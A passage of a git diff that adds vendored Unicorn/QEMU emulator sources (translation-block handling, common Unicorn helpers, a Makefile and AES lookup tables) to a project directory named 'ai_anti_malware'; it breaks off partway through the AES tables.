uc->tcg_ctx; + unsigned int h; + TranslationBlock **ptb; + + /* Grab the mmap lock to stop another thread invalidating this TB + before we are done. */ + mmap_lock(); + /* add in the physical hash table */ + h = tb_phys_hash_func(phys_pc); + ptb = &tcg_ctx->tb_ctx.tb_phys_hash[h]; + tb->phys_hash_next = *ptb; + *ptb = tb; + + /* add in the page list */ + tb_alloc_page(uc, tb, 0, phys_pc & TARGET_PAGE_MASK); + if (phys_page2 != -1) { + tb_alloc_page(uc, tb, 1, phys_page2); + } else { + tb->page_addr[1] = -1; + } + + tb->jmp_first = (TranslationBlock *)((uintptr_t)tb | 2); + tb->jmp_next[0] = NULL; + tb->jmp_next[1] = NULL; + + /* init original jump addresses */ + if (tb->tb_next_offset[0] != 0xffff) { + tb_reset_jump(tb, 0); + } + if (tb->tb_next_offset[1] != 0xffff) { + tb_reset_jump(tb, 1); + } + +#ifdef DEBUG_TB_CHECK + tb_page_check(); +#endif + mmap_unlock(); +} + +/* find the TB 'tb' such that tb[0].tc_ptr <= tc_ptr < + tb[1].tc_ptr. Return NULL if not found */ +static TranslationBlock *tb_find_pc(struct uc_struct *uc, uintptr_t tc_ptr) +{ + TCGContext *tcg_ctx = uc->tcg_ctx; + int m_min, m_max, m; + uintptr_t v; + TranslationBlock *tb; + + if (tcg_ctx->tb_ctx.nb_tbs <= 0) { + return NULL; + } + if (tc_ptr < (uintptr_t)tcg_ctx->code_gen_buffer || + tc_ptr >= (uintptr_t)tcg_ctx->code_gen_ptr) { + return NULL; + } + /* binary search (cf Knuth) */ + m_min = 0; + m_max = tcg_ctx->tb_ctx.nb_tbs - 1; + while (m_min <= m_max) { + m = (m_min + m_max) >> 1; + tb = &tcg_ctx->tb_ctx.tbs[m]; + v = (uintptr_t)tb->tc_ptr; + if (v == tc_ptr) { + return tb; + } else if (tc_ptr < v) { + m_max = m - 1; + } else { + m_min = m + 1; + } + } + return &tcg_ctx->tb_ctx.tbs[m_max]; +} + +#if defined(TARGET_HAS_ICE) && !defined(CONFIG_USER_ONLY) +void tb_invalidate_phys_addr(AddressSpace *as, hwaddr addr) +{ + ram_addr_t ram_addr; + MemoryRegion *mr; + hwaddr l = 1; + + mr = address_space_translate(as, addr, &addr, &l, false); + if (!(memory_region_is_ram(mr) + || memory_region_is_romd(mr))) { + return; + } + ram_addr = (ram_addr_t)((memory_region_get_ram_addr(mr) & TARGET_PAGE_MASK) + + addr); + tb_invalidate_phys_page_range(as->uc, ram_addr, ram_addr + 1, 0); +} +#endif /* TARGET_HAS_ICE && !defined(CONFIG_USER_ONLY) */ + +void tb_check_watchpoint(CPUState *cpu) +{ + TranslationBlock *tb; + CPUArchState *env = cpu->env_ptr; + + tb = tb_find_pc(env->uc, cpu->mem_io_pc); + if (!tb) { + cpu_abort(cpu, "check_watchpoint: could not find TB for pc=%p", + (void *)cpu->mem_io_pc); + } + cpu_restore_state_from_tb(cpu, tb, cpu->mem_io_pc); + tb_phys_invalidate(cpu->uc, tb, -1); +} + +#ifndef CONFIG_USER_ONLY +/* mask must never be zero, except for A20 change call */ +static void tcg_handle_interrupt(CPUState *cpu, int mask) +{ + cpu->interrupt_request |= mask; + + cpu->tcg_exit_req = 1; +} + +CPUInterruptHandler cpu_interrupt_handler = tcg_handle_interrupt; + +/* in deterministic execution mode, instructions doing device I/Os + must be at the end of the TB */ +void cpu_io_recompile(CPUState *cpu, uintptr_t retaddr) +{ + CPUArchState *env = cpu->env_ptr; + TranslationBlock *tb; + uint32_t n, cflags; + target_ulong pc, cs_base; + uint64_t flags; + + tb = tb_find_pc(env->uc, retaddr); + if (!tb) { + cpu_abort(cpu, "cpu_io_recompile: could not find TB for pc=%p", + (void *)retaddr); + } + n = cpu->icount_decr.u16.low + tb->icount; + cpu_restore_state_from_tb(cpu, tb, retaddr); + /* Calculate how many instructions had been executed before the fault + occurred. */ + n = n - cpu->icount_decr.u16.low; + /* Generate a new TB ending on the I/O insn. */ + n++; + /* On MIPS and SH, delay slot instructions can only be restarted if + they were already the first instruction in the TB. If this is not + the first instruction in a TB then re-execute the preceding + branch. */ +#if defined(TARGET_MIPS) + if ((env->hflags & MIPS_HFLAG_BMASK) != 0 && n > 1) { + env->active_tc.PC -= 4; + cpu->icount_decr.u16.low++; + env->hflags &= ~MIPS_HFLAG_BMASK; + } +#elif defined(TARGET_SH4) + if ((env->flags & ((DELAY_SLOT | DELAY_SLOT_CONDITIONAL))) != 0 + && n > 1) { + env->pc -= 2; + cpu->icount_decr.u16.low++; + env->flags &= ~(DELAY_SLOT | DELAY_SLOT_CONDITIONAL); + } +#endif + /* This should never happen. */ + if (n > CF_COUNT_MASK) { + cpu_abort(cpu, "TB too big during recompile"); + } + + cflags = n | CF_LAST_IO; + pc = tb->pc; + cs_base = tb->cs_base; + flags = tb->flags; + tb_phys_invalidate(cpu->uc, tb, -1); + /* FIXME: In theory this could raise an exception. In practice + we have already translated the block once so it's probably ok. */ + tb_gen_code(cpu, pc, cs_base, (int)flags, cflags); + /* TODO: If env->pc != tb->pc (i.e. the faulting instruction was not + the first in the TB) then we end up generating a whole new TB and + repeating the fault, which is horribly inefficient. + Better would be to execute just this insn uncached, or generate a + second new TB. */ + cpu_resume_from_signal(cpu, NULL); +} + +void tb_flush_jmp_cache(CPUState *cpu, target_ulong addr) +{ + unsigned int i; + + /* Discard jump cache entries for any tb which might potentially + overlap the flushed page. */ + i = tb_jmp_cache_hash_page(addr - TARGET_PAGE_SIZE); + memset(&cpu->tb_jmp_cache[i], 0, + TB_JMP_PAGE_SIZE * sizeof(TranslationBlock *)); + + i = tb_jmp_cache_hash_page(addr); + memset(&cpu->tb_jmp_cache[i], 0, + TB_JMP_PAGE_SIZE * sizeof(TranslationBlock *)); +} + +#if 0 +void dump_exec_info(FILE *f, fprintf_function cpu_fprintf) +{ + int i, target_code_size, max_target_code_size; + int direct_jmp_count, direct_jmp2_count, cross_page; + TranslationBlock *tb; + + target_code_size = 0; + max_target_code_size = 0; + cross_page = 0; + direct_jmp_count = 0; + direct_jmp2_count = 0; + for (i = 0; i < tcg_ctx.tb_ctx.nb_tbs; i++) { + tb = &tcg_ctx.tb_ctx.tbs[i]; + target_code_size += tb->size; + if (tb->size > max_target_code_size) { + max_target_code_size = tb->size; + } + if (tb->page_addr[1] != -1) { + cross_page++; + } + if (tb->tb_next_offset[0] != 0xffff) { + direct_jmp_count++; + if (tb->tb_next_offset[1] != 0xffff) { + direct_jmp2_count++; + } + } + } + /* XXX: avoid using doubles ? */ + cpu_fprintf(f, "Translation buffer state:\n"); + cpu_fprintf(f, "gen code size %td/%zd\n", + tcg_ctx.code_gen_ptr - tcg_ctx.code_gen_buffer, + tcg_ctx.code_gen_buffer_max_size); + cpu_fprintf(f, "TB count %d/%d\n", + tcg_ctx.tb_ctx.nb_tbs, tcg_ctx.code_gen_max_blocks); + cpu_fprintf(f, "TB avg target size %d max=%d bytes\n", + tcg_ctx.tb_ctx.nb_tbs ? target_code_size / + tcg_ctx.tb_ctx.nb_tbs : 0, + max_target_code_size); + cpu_fprintf(f, "TB avg host size %td bytes (expansion ratio: %0.1f)\n", + tcg_ctx.tb_ctx.nb_tbs ? (tcg_ctx.code_gen_ptr - + tcg_ctx.code_gen_buffer) / + tcg_ctx.tb_ctx.nb_tbs : 0, + target_code_size ? (double) (tcg_ctx.code_gen_ptr - + tcg_ctx.code_gen_buffer) / + target_code_size : 0); + cpu_fprintf(f, "cross page TB count %d (%d%%)\n", cross_page, + tcg_ctx.tb_ctx.nb_tbs ? (cross_page * 100) / + tcg_ctx.tb_ctx.nb_tbs : 0); + cpu_fprintf(f, "direct jump count %d (%d%%) (2 jumps=%d %d%%)\n", + direct_jmp_count, + tcg_ctx.tb_ctx.nb_tbs ? (direct_jmp_count * 100) / + tcg_ctx.tb_ctx.nb_tbs : 0, + direct_jmp2_count, + tcg_ctx.tb_ctx.nb_tbs ? (direct_jmp2_count * 100) / + tcg_ctx.tb_ctx.nb_tbs : 0); + cpu_fprintf(f, "\nStatistics:\n"); + cpu_fprintf(f, "TB flush count %d\n", tcg_ctx.tb_ctx.tb_flush_count); + cpu_fprintf(f, "TB invalidate count %d\n", + tcg_ctx.tb_ctx.tb_phys_invalidate_count); + //cpu_fprintf(f, "TLB flush count %d\n", tlb_flush_count); + tcg_dump_info(f, cpu_fprintf); +} +#endif + +#else /* CONFIG_USER_ONLY */ + +void cpu_interrupt(CPUState *cpu, int mask) +{ + cpu->interrupt_request |= mask; + cpu->tcg_exit_req = 1; +} + +#if 0 +/* + * Walks guest process memory "regions" one by one + * and calls callback function 'fn' for each region. + */ +struct walk_memory_regions_data { + walk_memory_regions_fn fn; + void *priv; + target_ulong start; + int prot; +}; + +static int walk_memory_regions_end(struct walk_memory_regions_data *data, + target_ulong end, int new_prot) +{ + if (data->start != -1u) { + int rc = data->fn(data->priv, data->start, end, data->prot); + if (rc != 0) { + return rc; + } + } + + data->start = (new_prot ? end : -1u); + data->prot = new_prot; + + return 0; +} + +static int walk_memory_regions_1(struct walk_memory_regions_data *data, + target_ulong base, int level, void **lp) +{ + target_ulong pa; + int i, rc; + + if (*lp == NULL) { + return walk_memory_regions_end(data, base, 0); + } + + if (level == 0) { + PageDesc *pd = *lp; + + for (i = 0; i < V_L2_SIZE; ++i) { + int prot = pd[i].flags; + + pa = base | (i << TARGET_PAGE_BITS); + if (prot != data->prot) { + rc = walk_memory_regions_end(data, pa, prot); + if (rc != 0) { + return rc; + } + } + } + } else { + void **pp = *lp; + + for (i = 0; i < V_L2_SIZE; ++i) { + pa = base | ((target_ulong)i << + (TARGET_PAGE_BITS + V_L2_BITS * level)); + rc = walk_memory_regions_1(data, pa, level - 1, pp + i); + if (rc != 0) { + return rc; + } + } + } + + return 0; +} + +typedef int (*walk_memory_regions_fn)(void *, target_ulong, + target_ulong, unsigned long); + +static int walk_memory_regions(void *priv, walk_memory_regions_fn fn) +{ + struct walk_memory_regions_data data; + uintptr_t i; + + data.fn = fn; + data.priv = priv; + data.start = -1u; + data.prot = 0; + + for (i = 0; i < V_L1_SIZE; i++) { + int rc = walk_memory_regions_1(&data, (target_ulong)i << (V_L1_SHIFT + TARGET_PAGE_BITS), + V_L1_SHIFT / V_L2_BITS - 1, l1_map + i); + if (rc != 0) { + return rc; + } + } + + return walk_memory_regions_end(&data, 0, 0); +} + +static int dump_region(void *priv, target_ulong start, + target_ulong end, unsigned long prot) +{ + FILE *f = (FILE *)priv; + + (void) fprintf(f, TARGET_FMT_lx"-"TARGET_FMT_lx + " "TARGET_FMT_lx" %c%c%c\n", + start, end, end - start, + ((prot & PAGE_READ) ? 'r' : '-'), + ((prot & PAGE_WRITE) ? 'w' : '-'), + ((prot & PAGE_EXEC) ? 'x' : '-')); + + return 0; +} + +/* dump memory mappings */ +void page_dump(FILE *f) +{ + const int length = sizeof(target_ulong) * 2; + (void) fprintf(f, "%-*s %-*s %-*s %s\n", + length, "start", length, "end", length, "size", "prot"); + walk_memory_regions(f, dump_region); +} + +#endif + +int page_get_flags(target_ulong address) +{ + PageDesc *p; + + p = page_find(address >> TARGET_PAGE_BITS); + if (!p) { + return 0; + } + return p->flags; +} + +/* Modify the flags of a page and invalidate the code if necessary. + The flag PAGE_WRITE_ORG is positioned automatically depending + on PAGE_WRITE. The mmap_lock should already be held. */ +static void page_set_flags(struct uc_struct *uc, target_ulong start, target_ulong end, int flags) +{ + target_ulong addr, len; + + /* This function should never be called with addresses outside the + guest address space. If this assert fires, it probably indicates + a missing call to h2g_valid. */ +#if TARGET_ABI_BITS > L1_MAP_ADDR_SPACE_BITS + assert(end < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)); +#endif + assert(start < end); + + start = start & TARGET_PAGE_MASK; + end = TARGET_PAGE_ALIGN(end); + + if (flags & PAGE_WRITE) { + flags |= PAGE_WRITE_ORG; + } + + for (addr = start, len = end - start; + len != 0; + len -= TARGET_PAGE_SIZE, addr += TARGET_PAGE_SIZE) { + PageDesc *p = page_find_alloc(uc, addr >> TARGET_PAGE_BITS, 1); + + /* If the write protection bit is set, then we invalidate + the code inside. */ + if (!(p->flags & PAGE_WRITE) && + (flags & PAGE_WRITE) && + p->first_tb) { + tb_invalidate_phys_page(addr, 0, NULL, false); + } + p->flags = flags; + } +} + +static int page_check_range(target_ulong start, target_ulong len, int flags) +{ + PageDesc *p; + target_ulong end; + target_ulong addr; + + /* This function should never be called with addresses outside the + guest address space. If this assert fires, it probably indicates + a missing call to h2g_valid. */ +#if TARGET_ABI_BITS > L1_MAP_ADDR_SPACE_BITS + assert(start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)); +#endif + + if (len == 0) { + return 0; + } + if (start + len - 1 < start) { + /* We've wrapped around. */ + return -1; + } + + /* must do before we loose bits in the next step */ + end = TARGET_PAGE_ALIGN(start + len); + start = start & TARGET_PAGE_MASK; + + for (addr = start, len = end - start; + len != 0; + len -= TARGET_PAGE_SIZE, addr += TARGET_PAGE_SIZE) { + p = page_find(addr >> TARGET_PAGE_BITS); + if (!p) { + return -1; + } + if (!(p->flags & PAGE_VALID)) { + return -1; + } + + if ((flags & PAGE_READ) && !(p->flags & PAGE_READ)) { + return -1; + } + if (flags & PAGE_WRITE) { + if (!(p->flags & PAGE_WRITE_ORG)) { + return -1; + } + /* unprotect the page if it was put read-only because it + contains translated code */ + if (!(p->flags & PAGE_WRITE)) { + if (!page_unprotect(addr, 0, NULL)) { + return -1; + } + } + } + } + return 0; +} + +/* called from signal handler: invalidate the code and unprotect the + page. Return TRUE if the fault was successfully handled. */ +static int page_unprotect(target_ulong address, uintptr_t pc, void *puc) +{ + unsigned int prot; + PageDesc *p; + target_ulong host_start, host_end, addr; + + /* Technically this isn't safe inside a signal handler. However we + know this only ever happens in a synchronous SEGV handler, so in + practice it seems to be ok. */ + mmap_lock(); + + p = page_find(address >> TARGET_PAGE_BITS); + if (!p) { + mmap_unlock(); + return 0; + } + + /* if the page was really writable, then we change its + protection back to writable */ + if ((p->flags & PAGE_WRITE_ORG) && !(p->flags & PAGE_WRITE)) { + host_start = address & qemu_host_page_mask; + host_end = host_start + qemu_host_page_size; + + prot = 0; + for (addr = host_start ; addr < host_end ; addr += TARGET_PAGE_SIZE) { + p = page_find(addr >> TARGET_PAGE_BITS); + p->flags |= PAGE_WRITE; + prot |= p->flags; + + /* and since the content will be modified, we must invalidate + the corresponding translated code. */ + tb_invalidate_phys_page(addr, pc, puc, true); +#ifdef DEBUG_TB_CHECK + tb_invalidate_check(addr); +#endif + } + mprotect((void *)g2h(host_start), qemu_host_page_size, + prot & PAGE_BITS); + + mmap_unlock(); + return 1; + } + mmap_unlock(); + return 0; +} +#endif /* CONFIG_USER_ONLY */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.h b/ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.h new file mode 100644 index 0000000..8216ad8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/translate-all.h @@ -0,0 +1,28 @@ +/* + * Translated block handling + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#ifndef TRANSLATE_ALL_H +#define TRANSLATE_ALL_H + +/* translate-all.c */ +void cpu_unlink_tb(CPUState *cpu); +void tb_check_watchpoint(CPUState *cpu); +void tb_invalidate_phys_page_fast(struct uc_struct* uc, tb_page_addr_t start, int len); +void tb_cleanup(struct uc_struct *uc); + +#endif /* TRANSLATE_ALL_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/unicorn_common.h b/ai_anti_malware/unicorn/unicorn-master/qemu/unicorn_common.h new file mode 100644 index 0000000..2117c62 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/unicorn_common.h @@ -0,0 +1,91 @@ +#ifndef UNICORN_COMMON_H_ +#define UNICORN_COMMON_H_ + +#include "tcg.h" + +// This header define common patterns/codes that will be included in all arch-sepcific +// codes for unicorns purposes. + +// return true on success, false on failure +static inline bool cpu_physical_mem_read(AddressSpace *as, hwaddr addr, + uint8_t *buf, int len) +{ + return !cpu_physical_memory_rw(as, addr, (void *)buf, len, 0); +} + +static inline bool cpu_physical_mem_write(AddressSpace *as, hwaddr addr, + const uint8_t *buf, int len) +{ + return !cpu_physical_memory_rw(as, addr, (void *)buf, len, 1); +} + +void tb_cleanup(struct uc_struct *uc); +void free_code_gen_buffer(struct uc_struct *uc); + +/** Freeing common resources */ +static void release_common(void *t) +{ + TCGPool *po, *to; + TCGContext *s = (TCGContext *)t; +#if TCG_TARGET_REG_BITS == 32 + int i; +#endif + + // Clean TCG. + TCGOpDef* def = &s->tcg_op_defs[0]; + g_free(def->args_ct); + g_free(def->sorted_args); + g_free(s->tcg_op_defs); + + for (po = s->pool_first; po; po = to) { + to = po->next; + g_free(po); + } + tcg_pool_reset(s); + g_hash_table_destroy(s->helpers); + + // TODO(danghvu): these function is not available outside qemu + // so we keep them here instead of outside uc_close. + phys_mem_clean(s->uc); + address_space_destroy(&(s->uc->as)); + memory_free(s->uc); + tb_cleanup(s->uc); + free_code_gen_buffer(s->uc); + cpu_watchpoint_remove_all(CPU(s->uc->cpu), BP_CPU); + cpu_breakpoint_remove_all(CPU(s->uc->cpu), BP_CPU); + +#if TCG_TARGET_REG_BITS == 32 + for(i = 0; i < s->nb_globals; i++) { + TCGTemp *ts = &s->temps[i]; + if (ts->base_type == TCG_TYPE_I64) { + if (ts->name && ((strcmp(ts->name+(strlen(ts->name)-2), "_0") == 0) || + (strcmp(ts->name+(strlen(ts->name)-2), "_1") == 0))) { + free((void *)ts->name); + } + } + } +#endif +} + +static inline void uc_common_init(struct uc_struct* uc) +{ + memory_register_types(uc); + uc->write_mem = cpu_physical_mem_write; + uc->read_mem = cpu_physical_mem_read; + uc->tcg_enabled = tcg_enabled; + uc->tcg_exec_init = tcg_exec_init; + uc->cpu_exec_init_all = cpu_exec_init_all; + uc->vm_start = vm_start; + uc->memory_map = memory_map; + uc->memory_map_ptr = memory_map_ptr; + uc->memory_unmap = memory_unmap; + uc->readonly_mem = memory_region_set_readonly; + + uc->target_page_size = TARGET_PAGE_SIZE; + uc->target_page_align = TARGET_PAGE_SIZE - 1; + + if (!uc->release) + uc->release = release_common; +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/util/Makefile.objs new file mode 100644 index 0000000..874cee1 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/Makefile.objs @@ -0,0 +1,10 @@ +util-obj-y = cutils.o qemu-timer-common.o +util-obj-$(CONFIG_WIN32) += oslib-win32.o qemu-thread-win32.o +util-obj-$(CONFIG_POSIX) += oslib-posix.o qemu-thread-posix.o +util-obj-y += module.o +util-obj-y += bitmap.o bitops.o +util-obj-y += error.o +util-obj-y += aes.o +util-obj-y += crc32c.o +util-obj-y += host-utils.o +util-obj-y += getauxval.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/util/aes.c b/ai_anti_malware/unicorn/unicorn-master/qemu/util/aes.c new file mode 100644 index 0000000..50c69c3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/util/aes.c @@ -0,0 +1,1059 @@ +/** + * + * aes.c - integrated in QEMU by Fabrice Bellard from the OpenSSL project. + */ +/* + * rijndael-alg-fst.c + * + * @version 3.0 (December 2000) + * + * Optimised ANSI C code for the Rijndael cipher (now AES) + * + * @author Vincent Rijmen + * @author Antoon Bosselaers + * @author Paulo Barreto + * + * This code is hereby placed in the public domain. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS + * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE + * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR + * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE + * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ +#include "qemu-common.h" +#include "qemu/aes.h" + +typedef uint32_t u32; +typedef uint8_t u8; + +/* This controls loop-unrolling in aes_core.c */ +#undef FULL_UNROLL +# define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ ((u32)(pt)[2] << 8) ^ ((u32)(pt)[3])) +# define PUTU32(ct, st) { (ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); (ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); } + +const uint8_t AES_sbox[256] = { + 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, + 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, + 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, + 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, + 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, + 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, + 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, + 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, + 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, + 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, + 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, + 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, + 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, + 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, + 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, + 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, + 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, + 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, + 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, + 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, + 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, + 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, + 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, + 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, + 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, + 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, + 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, + 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, + 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, + 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, + 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, + 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, +}; + +const uint8_t AES_isbox[256] = { + 0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, + 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB, + 0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, + 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB, + 0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, + 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E, + 0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, + 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25, + 0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, + 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92, + 0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, + 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84, + 0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, + 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06, + 0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, + 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B, + 0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, + 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73, + 0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, + 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E, + 0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, + 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, + 0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, + 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4, + 0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, + 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F, + 0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, + 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF, + 0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, + 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61, + 0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, + 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D, +}; + +const uint8_t AES_shifts[16] = { + 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12, 1, 6, 11 +}; + +const uint8_t AES_ishifts[16] = { + 0, 13, 10, 7, 4, 1, 14, 11, 8, 5, 2, 15, 12, 9, 6, 3 +}; + +/* AES_imc[x][0] = [x].[0e, 09, 0d, 0b]; */ +/* AES_imc[x][1] = [x].[0b, 0e, 09, 0d]; */ +/* AES_imc[x][2] = [x].[0d, 0b, 0e, 09]; */ +/* AES_imc[x][3] = [x].[09, 0d, 0b, 0e]; */ +const uint32_t AES_imc[256][4] = { + { 0x00000000, 0x00000000, 0x00000000, 0x00000000, }, /* x=00 */ + { 0x0E090D0B, 0x0B0E090D, 0x0D0B0E09, 0x090D0B0E, }, /* x=01 */ + { 0x1C121A16, 0x161C121A, 0x1A161C12, 0x121A161C, }, /* x=02 */ + { 0x121B171D, 0x1D121B17, 0x171D121B, 0x1B171D12, }, /* x=03 */ + { 0x3824342C, 0x2C382434, 0x342C3824, 0x24342C38, }, /* x=04 */ + { 0x362D3927, 0x27362D39, 0x3927362D, 0x2D392736, }, /* x=05 */ + { 0x24362E3A, 0x3A24362E, 0x2E3A2436, 0x362E3A24, }, /* x=06 */ + { 0x2A3F2331, 0x312A3F23, 0x23312A3F, 0x3F23312A, }, /* x=07 */ + { 0x70486858, 0x58704868, 0x68587048, 0x48685870, }, /* x=08 */ + { 0x7E416553, 0x537E4165, 0x65537E41, 0x4165537E, }, /* x=09 */ + { 0x6C5A724E, 0x4E6C5A72, 0x724E6C5A, 0x5A724E6C, }, /* x=0A */ + { 0x62537F45, 0x4562537F, 0x7F456253, 0x537F4562, }, /* x=0B */ + { 0x486C5C74, 0x74486C5C, 0x5C74486C, 0x6C5C7448, }, /* x=0C */ + { 0x4665517F, 0x7F466551, 0x517F4665, 0x65517F46, }, /* x=0D */ + { 0x547E4662, 0x62547E46, 0x4662547E, 0x7E466254, }, /* x=0E */ + { 0x5A774B69, 0x695A774B, 0x4B695A77, 0x774B695A, }, /* x=0F */ + { 0xE090D0B0, 0xB0E090D0, 0xD0B0E090, 0x90D0B0E0, }, /* x=10 */ + { 0xEE99DDBB, 0xBBEE99DD, 0xDDBBEE99, 0x99DDBBEE, }, /* x=11 */ + { 0xFC82CAA6, 0xA6FC82CA, 